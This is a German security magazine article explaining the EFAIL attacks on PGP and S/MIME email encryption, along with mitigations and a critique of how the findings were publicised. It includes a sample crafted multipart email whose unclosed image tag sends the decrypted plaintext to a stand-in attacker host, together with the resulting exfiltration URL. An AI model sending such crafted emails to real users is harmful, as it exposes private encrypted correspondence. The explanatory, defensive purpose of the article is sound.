Eine E-Mail ist wie eine Postkarte in der Briefpost: Wer sie sieht, kann sie lesen. Deshalb sollte man eigentlich nur verschlüsselte Mails verschicken, die dieses unbefugte Lesen verhindern. Über die EFAIL-Angriffe kann die Verschlüsselung aber ausgehebelt werden. Ist das wirklich die große Katastrophe, als die es dargestellt wird?

Die Grundlagen der E-Mail-Verschlüsselung habe ich im Entwickler Magazin 5.2018 beschrieben [1]. Darin wurde alles vorgestellt, was wir für die Verschlüsselung von E-Mails brauchen. Was jetzt noch fehlt, ist nur noch eine Vereinbarung, wie man die Mails formatieren soll. Dafür gibt es drei Möglichkeiten: PGP/INLINE, PGP/MIME und S/MIME.

Die Formate im Schnelldurchlauf

PGP/INLINE wird von PGP/GnuPG verwendet und im OpenPGP-Message-Format-Standard in RFC 4880 [2] standardisiert. Der Text der E-Mail (nur reiner Text, HTML wird nicht unterstützt) wird als sog. ASCII Armor codiert und im Body der Mail übertragen.

PGP/MIME wird wie PGP/INLINE von PGP/GnuPG verwendet, basiert auf den Standards RFC 4880 (OpenPGP Message Format [2]) und RFC 3156 (MIME Security with OpenPGP [3]). RFC 4880 definiert Methoden und Aufbau von mit OpenPGP verschlüsselten bzw. signierten Daten. RFC 3156 definiert, wie die in RFC 1847 (Security Multiparts for MIME: Multipart/Signed and Multipart/Encrypted [4]) beschriebenen MIME-Inhaltstypen in OpenPGP-spezifische Inhaltstypen zur Verschlüsselung und Signierung übertragen werden müssen.

In RFC 1847 [4] werden zwei MIME Content Types definiert, die auch von PGP/MIME verwendet werden:

• multipart/signed für signierte Nachrichten und

• multipart/encrypted für verschlüsselte Nachrichten.

S/MIME, erstmals in RFC 2633 und aktuell in RFC 5751 [5] spezifiziert, unterstützt multipart/signed für signierte Nachrichten, verwendet aber das eigene Format application/pkcs7-mime für die verschlüsselten Nachrichten. Dabei kann wieder frei gewählt werden, ob E-Mails nur verschlüsselt, nur signiert oder signiert und verschlüsselt werden sollen. Mehr zu den Formaten sowie Beispiele dazu finden Sie in [6].

Mitte Mai: EFAIL – verschlüsselte Mails in Gefahr!

Eine Forschergruppe rund um Sebastian Schinzel von der Fachhochschule Münster hat sich sowohl die Standards zur E-Mail-Verschlüsselung als auch ihre konkrete Umsetzungen in den Mailclients und deren Plug-ins genauer angesehen und dabei festgestellt, dass es mit der Sicherheit von S/MIME und OpenPGP nicht zum Besten steht. Die Ergebnisse wurden am 15. Mai veröffentlicht, was von Sebastian Schinzel am 14. Mai auf Twitter angekündigt worden war [7].

Am 15. Mai wurde dann die Webseite zur Schwachstelle samt Paper veröffentlicht [8]. Das auf der Webseite verlinkte Paper für das 27th USENIX Security Symposium ist noch eine Vorversion. Eine aktuelle Version gibt es auf der Website des Symposiums unter [9], und auch auf der Black Hat USA haben die Forscher einen Vortrag zu ihren Entdeckungen gehalten [10].

EFAIL: Zwei neue Angriffe auf OpenPGP und S/MIME

Die EFAIL-Angriffe nutzen Schwachstellen in den OpenPGP- und S/MIME-Standards und -Implementierungen, um den Klartext verschlüsselter E-Mails nach der Entschlüsselung durch den Client auszuspähen. Dazu müssen die E-Mails präpariert werden. Der Angriff ist also nur möglich, wenn der Angreifer beispielsweise im Rahmen einer Man-in-the-Middle-(MitM-)Attacke Zugriff auf die verschlüsselten Mails hat und sie entsprechend präparieren kann. Weitere Möglichkeiten für die nötigen Manipulationen sind z. B. kompromittierte E-Mail-Accounts, Mailserver oder Clients. Und der Angreifer kann auch zuvor aufgezeichnete Mails präparieren und erneut an den Empfänger schicken, um den Klartext auszuspähen. Es gibt zwei Arten von EFAIL-Angriffen, die in den folgenden Absätzen beschrieben werden.

Angriff 1: Direct Exfiltration

Der erste Angriff ist die sog. „Direct Exfiltration“. Dabei werden Schwachstellen in den Programmen Apple Mail (macOS), Mail-App (iOS), Thunderbird (Windows, macOS, Linux), Postbox (Windows) und MailMate (macOS) ausgenutzt, um direkt den Klartext verschlüsselter Mails auszuspähen. Die Angriffe können daher verhindert werden, indem die Schwachstellen in den Programmen behoben werden (was teilweise bereits passiert ist).

Der Angriff läuft für Apple Mail und Mail-App folgendermaßen ab: Der Angreifer erzeugt eine neue Multipart-E-Mail mit drei Body-Teilen (Listing 1). Der erste Teil ist ein HTML Body, der nur ein HTML-Image-Tag enthält. Beachten Sie, dass das SRC-Attribut des IMG-Tags mit Anführungsstrichen geöffnet, aber nicht geschlossen wird! Der zweite Teil enthält den PGP- oder S/ MIME-Schlüsseltext. Und der dritte Teil ist wieder ein HTML Body, in dem das SRC-Attribut aus dem ersten Teil geschlossen wird.

Return-Path: <absender@absender-domain.example>
Delivered-To: empfaenger@empfaenger-domain.example
Received: from mail.absender-domain.example (mail.absender-domain.example [1.2.3.4])
  by mail.empfaenger-domain.example (Postfix) with ESMTPS id 9C3271AC8D10
  for <empfaenger@empfaenger-domain.example.com>; Wed, 20 Jun 2018 14:03:13 +0200 (CEST)
Message-ID: <602F47E5-81C0-4981-9729-354A32783CC7@absender-domain.example>
Date: Wed, 20 Jun 2018 14:03:12 +0200
From: Absender <absender@absender-domain.example>
Subject: EFAIL-Testmail
To: Empfaenger <empfaenger@empfaenger-domain.example>
User-Agent: SupertollerMailClient 1.23
MIME-Version: 1.0
Content-Type: multipart/mixed;
  boundary="--------------MIME-BOUNDARY------------"
 
--------------MIME-BOUNDARY------------
Content-Type: text/html
 
<img src="http://angreifer.example/
--------------MIME-BOUNDARY------------
Content-Type: application/pkcs7-mime;
  smime-type=enveloped-data
Content-Transfer-Encoding: base64
 
RGFzIGlzdCBnYXIgbmljaHQgdmVyc2NobMO8c3NlbHQsIG51ciBCYXNlNjQta29kaWVydC4gQWJl
ciBkYSBkZXIgVGV4dCBzb3dpZXNvIHp1c2FtbWVuZ2VzY2huaXR0ZW4gd2lyZCBpc3QgZGFzIGF1
Y2ggdG90YWwgZWdhbC4uLg==
--------------MIME-BOUNDARY------------
Content-Type: text/html
 
">
--------------MIME-BOUNDARY------------

Diese E-Mail sendet der Angreifer dann an das Opfer. Wie schon erwähnt, kann das im Rahmen eines MitM-Angriffs passieren, im Beispiel hätte der MitM-Angreifer dann eine E-Mail abgefangen und wie in Listing 5 manipuliert. Oder der Angreifer sendet eine irgendwann in der Vergangenheit ausgespähte, verschlüsselte E-Mail in einer neuen, präparierten E-Mail an den Empfänger.

Der Mailclient des Opfers entschlüsselt den verschlüsselten zweiten Body-Teil und kopiert die drei Body-Teile in eine HTML-Mail zusammen. Das SRC-Attribut des IMG-Tags beginnt in der ersten Zeile und endet in der dritten (und bei einem Klartext über mehrere Zeilen entsprechend noch weiter unten):

<img src="http://angreifer.example/
Der streng geheime Klartext der verschluesselten Mail
">

Der Mailclient URL-codiert dann alle „non-printable“-Zeichen und fordert das Bild vom Server des Angreifers an:

<img src=http://angreifer.example/Der%20streng%20geheime%20Klartext%20der%20verschluesselten%20Mail>

Der Einfachheit halber habe ich im Klartext keine Sonderzeichen verwendet, sodass nur das Leerzeichen als %20 codiert werden muss. Wie Sie sehen, enthält der „Pfad“ des Bilds den Klartext der verschlüsselten E-Mail, und der Mailclient sendet diesen „Pfad“ an den Server des Angreifers, was, wie schon erwähnt, sowohl mit PGP- als auch mit S/MIME-E-Mails funktioniert.

Und auch wenn die Forscher das nicht beschrieben haben: Für mich sieht das ganz so aus, als würde dieser Trick auch mit dem ASCII-Armor aus einer PGP/INLINE-Mail funktionieren. Wenn der Angreifer den ASCII-Armor-Block an die Stelle des PGP/MIME-verschlüsselten Blocks kopiert, müsste der E-Mail-Client diese Daten entschlüsseln und dann in den URL für das IMG-Tag übernehmen.

Dieser Angriff funktioniert so nur mit von der Schwachstelle betroffenen Versionen von Apple Mail und der iOS-Mail-App. Bei den anderen betroffenen Mailclients sind Benutzeraktionen nötig, damit der Klartext gesendet wird. Die Forscher konnten beispielsweise das User Interface in Mozilla Thunderbird und Postbox über CSS so manipulieren, dass der Klartext beim Klick des Empfängers in die Mail über ein Formular abgeschickt wurde.

Es gibt aber noch die zweite Angriffsart, und die ist vom E-Mail-Client unabhängig.

Angriff 2: „Malleability Gadget Exfiltration Channel“-Angriffe

Bei der zweiten Angriffsart handelt es sich um die neu entwickelten, „Malleability Gadget Exfiltration Channel Attack“ genannten Angriffe. Diese nutzen Schwachstellen in der Spezifikation von OpenPGP und S/MIME aus, um den Klartext auszuspähen.

Angriff auf S/MIME: Fangen wir mit dem CBC-Gadget-Angriff an, der sich gegen S/MIME richtet. S/MIME nutzt die Betriebsart Cipher Block Chaining (CBC, Blockchiffre mit Blockverkettung [11]) für die Verschlüsselung der Nachrichten. Das ist nötig, da die Nachrichten im Allgemeinen größer als die Blocklänge des verwendeten symmetrischen Verschlüsselungsalgorithmus sind und deshalb blockweise verschlüsselt werden müssen.

CBC erlaubt es einem Angreifer, Klartextblöcke, dessen Klartext er kennt, zu manipulieren. S/MIME-verschlüsselte E-Mails beginnen normalerweise mit dem String Content-type: multipart/signed, sodass der Angreifer mindestens einen vollen Block des Klartexts kennt (Abb. 1). IV ist der Initalisierungsvektor, Ci sind die Schlüsseltextblöcke, Pi die Klartextblöcke.

Abb. 1: Der Originalschlüsseltext (nach Bild in [8], Teil (a))

Der Angreifer kann einen korrekten Klartextblock erzeugen, dessen Inhalt nur aus Nullen besteht, indem er X = IV XOR P0 bildet und als neuen IV einschleust (Abb. 2).

Abb. 2: CBC Gadget, um Klartextblock voller 0 zu erzeugen (nach Bild in [8], Teil (b))

Wenn (Ci-1, Ci) zwei Schlüsseltextblöcke sind, ist Pi der zugehörige Klartextblock. Wenn der Klartext Pi bekannt ist, nennen die Forscher das Paar ((Ci-1, Ci), Pi ) ein CBC Gadget.

Ist so ein CBC Gadget vorhanden, kann Pi zu jedem beliebigen Klartext Pc geändert werden, indem Ci-1 durch X = Ci-1 XOR Pi XOR Pc ersetzt wird. Der einzige Nachteil: X wird mit einem unbekannten Schlüssel entschlüsselt, Pi-1 enthält also zufällige Werte – mit anderen Worten: In den meisten Fällen Müll.

Durch mehrmaliges Einfügen solcher CBC Gadgets kann der Angreifer dann ein IMG-Tag vor den verschlüsselten Klartext einfügen (Abb. 3). Dadurch entsteht ein einzelner, verschlüsselter Body-Teil, der beim Öffnen der E-Mail im Mailclient des Empfängers analog zum Ablauf bei der Direct Exfiltration seinen Klartext an den Server im src-Attribut des eingeschleusten IMG-Tags schickt.

Abb. 3: Der manipulierte Schlüsseltext, der an den Empfänger geschickt wird (nach Bild in [8], Teil (c))

Falls Sie sich jetzt fragen: „Und was ist mit der Signatur? Die stimmt doch durch die Manipulation nicht mehr, sodass der Angriff erkannt wird?“ – nun, die Signatur ist in diesem Fall nutzlos. Zum einen kann der Angreifer sie aus der Mail löschen [12], wodurch aus der signierten und verschlüsselten E-Mail eine nur verschlüsselte E-Mail wird. Selbst wenn der Empfänger das bemerkt, ist es schon zu spät, da die Mail dann bereits entschlüsselt und der Klartext an den Angreifer gesendet wurde. Außerdem stört auch eine falsche Signatur nicht, da die Mail normalerweise trotzdem vom E-Mail-Client angezeigt wird, nur eben mit einer Warnung vor der ungültigen Signatur versehen.

Angriff auf OpenPGP: OpenPGP nutzt die Betriebsart „Cipher FeedBack“ (CFB, Schlüsseltextrückführung [11]), die für einen vergleichbaren Angriff mit CFB Gadgets anfällig ist. Darauf kann ich hier aus Platzgründen nicht weiter eingehen.

Ein Problem der Standards

Die CBC-/CFB-Gadget-Angriffe richten sich gegen Fehler in den Standards. Im Gegensatz zur Direct Exfiltration ist daher jeder standardkonforme Mailclient für diese Angriffe anfällig. Um die Schwachstelle zu beheben, müssen die Standards geändert werden. Bis neue Standards verfügbar sind, können die Entwickler ihre Mailclients nur durch selbst entwickelte Schutzmaßnahmen schützen.

Angriffe gleich, Erfolgsaussichten unterschiedlich

Technisch ähneln sich die CBC-/CFB-Gadget-Angriffe stark. Die Voraussetzungen für einen erfolgreichen Angriff sowie die Erfolgsaussichten unterscheiden sich jedoch deutlich.

In S/MIME läuft der Angriff völlig unkompliziert ab, der Angreifer kann mit einer einzigen präparierten S/ MIME-Mail gleich mehrere verschlüsselte E-Mails auf einen Schlag entschlüsseln lassen. Bei Tests der Forscher waren es bis zu 500 Nachrichten.

OpenPGP komprimiert den Klartext vor der Verschlüsselung, was das Raten der ersten Klartextbytes erschwert. Die Forscher gehen daher beim CFB-Gadget-Angriff zurzeit nur von einer Erfolgsquote von einem in drei Versuchen aus, weitere Untersuchungen können die Ergebnisse aber noch verbessern.

Aktuelle OpenPGP-Implementierungen enthalten außerdem einen Modification Detection Code (MDC), durch den die Manipulationen erkannt und die CFB-Gadget-Angriffe abgewehrt werden. Zumindest in der Theorie – in der Praxis geben manche Mailclients nur eine Warnung vor dem ungültigen MDC aus und zeigen den manipulierten Klartext trotzdem an (und senden ihn dabei an den Angreifer). Was allerdings vom Standard gedeckt ist: Ein MDC-Fehler muss als Sicherheitsproblem betrachtet, der Klartext darf aber trotzdem angezeigt und muss nur mit einer Warnung versehen werden. Außerdem haben die Forscher Möglichkeiten gefunden, den Integritätsschutz durch den MDC auszuhebeln.

Weitere mögliche Rückkanäle (Backchannels)

Bisher wurden IMG-Tags in HTML-Mails für die Übertragung des Klartexts an den Angreifer genutzt. Die Forscher haben die untersuchten Mailclients auch auf weitere Möglichkeiten untersucht, Daten zurück an einen Angreifer zu senden. Sie sind in vielen Fällen fündig geworden.

Mögliche Backchannels sind z. B. nicht nur HTML-Mails mit IMG-Tags, sondern auch mit Stylesheets oder JavaScript (XSS), sowie in S/MIME die Zertifikatsprüfung und das Laden von Intermediate-Zertifikaten, in OpenPGP das automatische Laden des öffentlichen Schlüssels. Auch darüber sind gegebenenfalls Exfiltration-Angriffe möglich.

Und nun? Keine Panik!

Die Tweets von Sebastian Schinzel vom 14. Mai [7] und ein von ihm darin verlinkter ebenfalls reißerischer Artikel der vorab informierten EFF [13] führten erst mal zu Panikmeldungen und -mache in den Medien. Unter anderem wurde der Rat gegeben, auf Verschlüsselung komplett zu verzichten (was völliger Quatsch ist, da die Mails dann von jedem gelesen werden können und nicht nur von einem aktiven Angreifer) bzw. die entsprechenden Tools zu deinstallieren (ebenfalls teilweise Quatsch, da die ja zum Teil bereits gepatcht waren). Entsprechend gab es auch reichlich berechtige Kritik am Vorgehen, siehe [14] für eine kleine Auswahl und [15] für eine Reaktion von Robert Hansen.

Im Fall des CFB-Gadget-Angriffs auf OpenPGP mit der CVE-ID CVE-2017-17688 [16] wird auch bestritten, dass es sich um eine Schwachstelle in der Spezifikation handelt. Stattdessen werden bei dem Angriff Fehler in Anwendungen ausgenutzt, die den MDC nicht korrekt interpretieren oder obsolete Pakettypen verarbeiten (wenn statt der sicheren, weil integritätsgeschützten „Symmetrically Encrypted with Integrity Protection“-(SEIP-)Pakete die nicht integritätsgeschützten „Symmetrically Encrypted“-(SE-)Pakete akzeptiert werden), z. B. [17], [18], [19]. Im Fall des CBC-Gadget-Angriffs auf S/ MIME (CVE-2017-17689 [20]) werden aber unbestritten Schwachstellen in der Spezifikation ausgenutzt.

Was kann man tun?

Erst einmal: Verzichten Sie keinesfalls auf die Verschlüsselung!

Zur Korrektur der Direct-Exfiltration-Schwachstellen müssen Updates installiert werden, sowie es sie gibt (was zum Teil bereits der Fall ist).

Die CFB-Gadget-Angriffe lassen sich ebenfalls durch Updates verhindern, die Programme müssen nur den MDC korrekt auswerten (was GnuPG inzwischen macht, ein Fehler bei der MDC-Prüfung führt jetzt zum Abbruch) und die veralteten SE-Pakete zurückweisen, damit die Angriffe nicht mehr möglich sind.

Die CBC-Gadget-Angriffe lassen sich erst nach der Veröffentlichung eines aktualisierten S/MIME-Standards korrekt verhindern. Bis es soweit ist, werden die einzelnen Entwickler eigene Lösungen entwickeln müssen.

Als Workaround kann die Anzeige von HTML-Mails und/oder das Nachladen von Daten ausgeschaltet werden. Das Nachladen sollten Sie sowieso ausschalten, da das z. B. von Spammern genutzt wird, um die Gültigkeit von E-Mail-Adressen zu prüfen. Jedes Mal, wenn Ihr Mailclient ein Bild in einer Spam-Mail lädt, verrät er dem Spammer damit, dass die Mailadresse gültig ist (und Sie die Mail zumindest geöffnet, evtl. sogar gelesen haben). Das Ausschalten verhindert ein Ausspähen der Mailinhalte über die EFAIL-Angriffe aber nur, wenn es alle Empfänger und der Absender tun, da die E-Mails für sie alle verschlüsselt sind. Es reicht dem Angreifer ja, wenn er bei einem davon erfolgreich ist.

Außerdem können Sie die E-Mails im Fall von OpenPGP statt im Mailclient in einem externen Programm entschlüsseln, sodass ein Angriff ins Leere läuft.

Wie geht es weiter?

Der aktuelle Draft für die Aktualisierung des OpenPGP-Message-Formats [21] enthält bereits Änderungen, die die EFAIL-Angriffe verhindern: SE-Pakete und die Ausgabe fehlerhafter Daten werden verboten, und für den Integritätsschutz soll die Betriebsart „Authenticated Encryption with Associated Data“ (AEAD) verwendet werden.

Der aktuelle Draft für die Aktualisierung des S/MIME-Standards  [22] verweist auf das EFAIL-Paper und schlägt den Wechsel zu authentifizierter Verschlüsselung mittels AES-GCM (einer üblichen AEAD-Version) statt CBC vor. Außerdem müssen Daten mit dem Content Type text/html ein komplettes HTML-Dokument sein, und die Clients müssen jeden verschlüsselten oder signierten Teil einer MIME-Nachricht getrennt voneinander und von ungeschützten Teilen verarbeiten.

Fazit

Die Veröffentlichungstaktik der Forscher war völlig daneben. Sie war viel zu reißerisch und außerdem teilweise falsch, was dann in den Medien schnell zu einer Katastrophe aufgebauscht wurde. Seit einiger Zeit kommen Schwachstellen und Angriffe ja allem Anschein nach leider nicht mehr ohne schönen Namen, passendes Logo und reißerisches Marketing samt Panikmache aus. Aber damit schadet man der Sicherheit. Vielleicht sollten die Forscher sich einmal daran erinnern, dass man jemanden, der immer wieder laut „Feuer, Feuer“ schreit, obwohl es gar nicht wirklich brennt, nicht mehr ernst nimmt, wenn es wirklich mal brennt. Und in diesem Fall ist dieser „Jemand“ dann leider die Gesamtheit aller Sicherheitsforscher. Wenn immer wieder ein Hype um Schwachstellen gemacht wird, die sich letztendlich als weit weniger gefährlich herausstellen als angekündigt, nimmt irgendwann niemand mehr solche Warnungen ernst.

Was die Schwachstellen betrifft, haben die GnuPG-Entwickler in [17] recht: Das Problem der Gadget-Angriffe ist seit 1999 bekannt, seit 2000 gibt es für GnuPG eine Lösung. So weit, so gut. Und gleichzeitig schlecht: Wieso ist die noch nicht obligatorisch? Wieso werden nicht integritätsgeschützte und sogar eindeutig manipulierte Daten immer noch ausgegeben und nicht verworfen? Ein Grund ist die Rückwärtskompatibilität und im Fall von OpenPGP vor allem auch dessen Nutzung zum Integritätsschutz von Softwarepaketen, der inzwischen viel wichtiger als die E-Mail-Verschlüsselung ist [15].

Und damit kommen wir zu einem generellen Problem der E-Mail-Verschlüsselung (außer dass sie zu kompliziert ist und deshalb kaum genutzt wird): Sie basiert teilweise auf uralten Konzepten und verwendet zum Teil längst als unsicher bekannte Algorithmen und Schlüssellängen. Und die wird man allem Anschein nach nicht so einfach los.

Wir brauchen eine sichere, einfach zu bedienende E-Mail-Verschlüsselung. Und so wie es aussieht, hilft da nur noch eine Neuentwicklung. Aber die ist nicht in Sicht.

Dipl.-Inform. Carsten Eilers ist freier Berater und Coach für IT-Sicherheit und technischen Datenschutz sowie Autor einer Vielzahl von Artikeln für verschiedene Magazine und Onlinemedien.